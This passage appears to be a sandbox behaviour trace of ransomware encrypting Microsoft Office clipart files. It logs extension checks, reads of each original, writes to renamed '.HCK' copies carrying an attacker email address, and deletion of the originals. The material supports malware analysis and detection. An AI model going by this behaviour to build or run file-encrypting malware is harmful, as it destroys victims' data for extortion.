Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".dbf") returned 4 [0157.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".1cd") returned 4 [0157.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".jpg") returned 4 [0157.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".doc") returned 4 [0157.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString=".docx") returned 5 [0157.254] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.254] lstrlenW (lpString=".pdf") returned 4 [0157.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString=".xls") returned 4 [0157.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.254] lstrlenW (lpString=".xlsx") returned 5 [0157.254] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.254] lstrlenW (lpString=".ppt") returned 4 [0157.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".zip") returned 4 [0157.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.254] lstrlenW (lpString=".rar") returned 4 [0157.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString=".bz2") returned 4 [0157.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString=".7z") returned 3 [0157.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".dbf") returned 4 [0157.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".1cd") returned 4 [0157.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0157.254] lstrlenW (lpString=".jpg") returned 4 [0157.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.255] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.255] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0157.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.255] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2262) returned 1 [0157.255] CloseHandle (hObject=0x384) returned 1 [0157.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0157.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.256] GetLastError () returned 0x0 [0157.256] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0157.257] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0157.258] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.258] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.258] SetEndOfFile (hFile=0x380) returned 1 [0157.258] CloseHandle (hObject=0x380) returned 1 [0157.259] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.259] SetEndOfFile (hFile=0x384) returned 1 [0157.260] CloseHandle (hObject=0x384) returned 1 [0157.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0157.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.260] lstrlenW (lpString=".doc") returned 4 [0157.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.260] lstrlenW (lpString=".docx") returned 5 [0157.608] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.608] lstrlenW (lpString=".pdf") returned 4 [0157.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString=".xls") returned 4 [0157.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.608] lstrlenW (lpString=".xlsx") returned 5 [0157.608] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.608] lstrlenW (lpString=".ppt") returned 4 [0157.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.608] lstrlenW (lpString=".zip") returned 4 [0157.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.608] lstrlenW (lpString=".rar") returned 4 [0157.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString=".bz2") returned 4 [0157.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString=".7z") returned 3 [0157.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.608] lstrlenW (lpString=".dbf") returned 4 [0157.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.608] lstrlenW (lpString=".1cd") returned 4 [0157.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.608] lstrlenW (lpString=".jpg") returned 4 [0157.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.608] lstrlenW (lpString=".doc") returned 4 [0157.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString=".docx") returned 5 [0157.608] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.608] lstrlenW (lpString=".pdf") returned 4 [0157.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString=".xls") returned 4 [0157.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.608] lstrlenW (lpString=".xlsx") returned 5 [0157.608] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.608] lstrlenW (lpString=".ppt") returned 4 [0157.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.609] lstrlenW (lpString=".zip") returned 4 [0157.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.609] lstrlenW (lpString=".rar") returned 4 [0157.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.609] lstrlenW (lpString=".bz2") returned 4 [0157.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.609] lstrlenW (lpString=".7z") returned 3 [0157.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.609] lstrlenW (lpString=".dbf") returned 4 [0157.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.609] lstrlenW (lpString=".1cd") returned 4 [0157.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0157.609] lstrlenW (lpString=".jpg") returned 4 [0157.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.609] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.609] lstrlenW (lpString="DD00261_.WMF") returned 12 [0157.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.693] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=37974) returned 1 [0157.693] CloseHandle (hObject=0x36c) returned 1 [0157.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0157.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.693] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.693] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0157.694] GetLastError () returned 0x0 [0157.694] ReadFile (in: hFile=0x36c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x9456, lpOverlapped=0x0) returned 1 [0157.702] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9460, lpOverlapped=0x0) returned 1 [0157.703] ReadFile (in: hFile=0x36c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.703] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.703] SetEndOfFile (hFile=0x300) returned 1 [0157.704] CloseHandle (hObject=0x300) returned 1 [0157.705] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.705] SetEndOfFile (hFile=0x36c) returned 1 [0157.706] CloseHandle (hObject=0x36c) returned 1 [0157.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.707] lstrlenW (lpString=".doc") returned 4 [0157.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString=".docx") returned 5 [0157.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.707] lstrlenW (lpString=".pdf") returned 4 [0157.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString=".xls") returned 4 [0157.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.707] lstrlenW (lpString=".xlsx") returned 5 [0157.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.707] lstrlenW (lpString=".ppt") returned 4 [0157.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.707] lstrlenW (lpString=".zip") returned 4 [0157.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.707] lstrlenW (lpString=".rar") returned 4 [0157.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString=".bz2") returned 4 [0157.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString=".7z") returned 3 [0157.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.707] lstrlenW (lpString=".dbf") returned 4 [0157.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.707] lstrlenW (lpString=".1cd") returned 4 [0157.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.707] lstrlenW (lpString=".jpg") returned 4 [0157.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.708] lstrlenW (lpString=".doc") returned 4 [0157.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".docx") returned 5 [0157.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.708] lstrlenW (lpString=".pdf") returned 4 [0157.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".xls") returned 4 [0157.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.708] lstrlenW (lpString=".xlsx") returned 5 [0157.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.708] lstrlenW (lpString=".ppt") returned 4 [0157.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.708] lstrlenW (lpString=".zip") returned 4 [0157.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.708] lstrlenW (lpString=".rar") returned 4 [0157.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".bz2") returned 4 [0157.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".7z") returned 3 [0157.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.708] lstrlenW (lpString=".dbf") returned 4 [0157.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.708] lstrlenW (lpString=".1cd") returned 4 [0157.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0157.708] lstrlenW (lpString=".jpg") returned 4 [0157.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.708] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.708] lstrlenW (lpString="DD01138_.WMF") returned 12 [0157.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.709] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3692) returned 1 [0157.709] CloseHandle (hObject=0x36c) returned 1 [0157.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0157.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.709] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.709] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0157.709] GetLastError () returned 0x0 [0157.709] ReadFile (in: hFile=0x36c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe6c, lpOverlapped=0x0) returned 1 [0157.717] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe70, lpOverlapped=0x0) returned 1 [0157.718] ReadFile (in: hFile=0x36c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.718] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.718] SetEndOfFile (hFile=0x300) returned 1 [0157.718] CloseHandle (hObject=0x300) returned 1 [0157.719] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.719] SetEndOfFile (hFile=0x36c) returned 1 [0157.719] CloseHandle (hObject=0x36c) returned 1 [0157.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.720] lstrlenW (lpString=".doc") returned 4 [0157.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.720] lstrlenW (lpString=".docx") returned 5 [0157.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.720] lstrlenW (lpString=".pdf") returned 4 [0157.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.720] lstrlenW (lpString=".xls") returned 4 [0157.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.720] lstrlenW (lpString=".xlsx") returned 5 [0157.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.720] lstrlenW (lpString=".ppt") returned 4 [0157.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.720] lstrlenW (lpString=".zip") returned 4 [0157.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.720] lstrlenW (lpString=".rar") returned 4 [0157.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.720] lstrlenW (lpString=".bz2") returned 4 [0157.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".7z") returned 3 [0157.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".dbf") returned 4 [0157.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".1cd") returned 4 [0157.721] lstrcmpiW (lpString1=".1cd", 